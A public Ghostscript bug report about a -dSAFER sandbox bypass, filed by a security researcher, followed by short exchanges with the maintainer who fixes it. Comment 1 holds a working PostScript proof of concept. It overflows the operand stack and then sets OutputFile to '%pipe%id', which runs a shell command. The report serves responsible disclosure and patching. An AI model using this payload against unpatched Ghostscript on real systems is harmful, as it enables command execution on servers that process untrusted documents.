Bug 699718 - .trysetparams stopped proc can itself stop, leaving page device in insecure state
Summary: .trysetparams stopped proc can itself stop, leaving page device in insecure s...
Alias: None
Product: Ghostscript
Classification: Unclassified
Component: Security (public) (show other bugs)
Version: unspecified
Hardware: PC Windows NT
: P1 critical
Assignee: Chris Liddell (chrisl)
Depends on:
Reported: 2018-09-05 13:25 UTC by Tavis Ormandy
Modified: 2019-05-08 13:34 UTC (History)
1 user (show)

See Also:
Word Size: ---


Note You need to log in before you can comment on or make changes to this bug.
Description Tavis Ormandy 2018-09-05 13:25:04 UTC
The fix for bug 699714 added this code:


The error handler reinstalls /.LockSafetyParams if anything goes wrong.

I mentioned on IRC that I'm not sure if that stopped proc could itself stop (perhaps from stackoverflow). This bug is just a note to investigate if that's possible, I'll follow up if I can get a repro working or if I'm certain that's not the case.

taviso> Hey, regarding the .trysetparams fix, is it possible the stopped proc could ever fail from /stackoverflow or something before it completes?
taviso> like, you get the operand stack really close to being full, get that stopped proc called and handle /stackoverflow in the errordict...etc, etc
Comment 1 Tavis Ormandy 2018-09-05 17:47:05 UTC
I got it to work, this still reproduces in HEAD (gs -dSAFER -sDEVICE=ppmraw):

currentpagedevice /PageSize get 0 (foobar) put

% fill up the stack with junk
0 1 300360 {} for

{ grestore } stopped clear

(ppmraw) selectdevice

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

Adjusting priority to Critical
Comment 2 Chris Liddell (chrisl) 2018-09-06 09:22:38 UTC
Hmm, I must admit, I though we no longer enforced a hard limit on the stack size - I thought it was only limited by memory...
Comment 3 Chris Liddell (chrisl) 2018-09-07 17:17:07 UTC
I've pushed changes to harden the fix against stack overflows: